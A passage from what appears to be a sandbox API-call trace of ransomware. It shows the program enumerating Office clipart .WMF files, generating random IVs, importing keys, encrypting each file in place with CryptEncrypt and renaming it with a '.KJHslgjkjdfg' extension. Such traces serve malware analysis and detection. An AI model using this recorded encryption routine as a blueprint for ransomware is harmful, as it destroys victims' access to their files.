(in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00466_.WMF", cAlternateFileName="")) returned 1 [0235.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0235.120] GetProcessHeap () returned 0x2ef0000 [0235.120] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0235.120] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0235.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0235.120] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.122] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.122] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.122] GetProcessHeap () returned 0x2ef0000 [0235.122] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0235.122] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0235.123] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.123] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0235.123] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.123] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0235.123] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0235.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0235.123] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.123] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.123] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.123] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xac8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xac8, lpOverlapped=0x0) returned 1 [0235.123] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xad0, dwBufLen=0xad0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xad0) returned 1 [0235.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.124] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xad0, lpOverlapped=0x0) returned 1 [0235.124] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.124] SetEndOfFile (hFile=0x130) returned 1 [0235.127] GetProcessHeap () returned 0x2ef0000 [0235.127] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0235.127] GetProcessHeap () returned 0x2ef0000 [0235.127] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0235.127] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf.kjhslgjkjdfg")) returned 1 [0235.129] CloseHandle (hObject=0x130) returned 1 [0235.129] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78be2200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78be2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00476_.WMF", cAlternateFileName="")) returned 1 [0235.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0235.130] GetProcessHeap () returned 0x2ef0000 [0235.130] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0235.130] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0235.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0235.130] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.130] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.130] GetProcessHeap () returned 0x2ef0000 [0235.130] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0235.130] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0235.130] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.130] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0235.165] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.165] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0235.165] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0235.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0235.166] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.166] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.166] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.166] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xfc0, lpOverlapped=0x0) returned 1 [0235.166] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xfc0) returned 1 [0235.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.166] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xfc0, lpOverlapped=0x0) returned 1 [0235.166] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.166] SetEndOfFile (hFile=0x130) returned 1 [0235.167] GetProcessHeap () returned 0x2ef0000 [0235.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0235.168] GetProcessHeap () returned 0x2ef0000 [0235.168] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0235.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf.kjhslgjkjdfg")) returned 1 [0235.169] CloseHandle (hObject=0x130) returned 1 [0235.169] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3ef600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c3ef600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5b08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00479_.WMF", cAlternateFileName="")) returned 1 [0235.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0235.171] GetProcessHeap () returned 0x2ef0000 [0235.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0235.171] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0235.171] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0235.171] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.188] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.188] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.189] GetProcessHeap () returned 0x2ef0000 [0235.189] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0235.189] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0235.189] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.189] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0235.189] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.189] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0235.189] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0235.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0235.189] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.189] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.189] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.190] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5b08, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5b08, lpOverlapped=0x0) returned 1 [0235.190] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b10, dwBufLen=0x5b10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b10) returned 1 [0235.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.191] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5b10, lpOverlapped=0x0) returned 1 [0235.191] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.191] SetEndOfFile (hFile=0x130) returned 1 [0235.194] GetProcessHeap () returned 0x2ef0000 [0235.194] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0235.194] GetProcessHeap () returned 0x2ef0000 [0235.194] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0235.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf.kjhslgjkjdfg")) returned 1 [0235.196] CloseHandle (hObject=0x130) returned 1 [0235.197] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778cf500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x778cf500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00483_.WMF", cAlternateFileName="")) returned 1 [0235.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0235.198] GetProcessHeap () returned 0x2ef0000 [0235.198] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0235.198] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0235.198] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0235.198] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.199] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.199] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.199] GetProcessHeap () returned 0x2ef0000 [0235.199] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0235.200] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0235.200] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0235.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0235.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0235.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0235.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.200] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.200] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.200] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2bb8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2bb8, lpOverlapped=0x0) returned 1 [0235.201] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2bc0, dwBufLen=0x2bc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2bc0) returned 1 [0235.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.201] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2bc0, lpOverlapped=0x0) returned 1 [0235.201] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.202] SetEndOfFile (hFile=0x130) returned 1 [0235.203] GetProcessHeap () returned 0x2ef0000 [0235.203] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0235.204] GetProcessHeap () returned 0x2ef0000 [0235.204] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0235.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf.kjhslgjkjdfg")) returned 1 [0235.205] CloseHandle (hObject=0x130) returned 1 [0235.205] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad09800, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ad09800, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00486_.WMF", cAlternateFileName="")) returned 1 [0235.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0235.209] GetProcessHeap () returned 0x2ef0000 [0235.210] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0235.210] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0235.210] SetFilePointerEx (in: hFile=0x130, 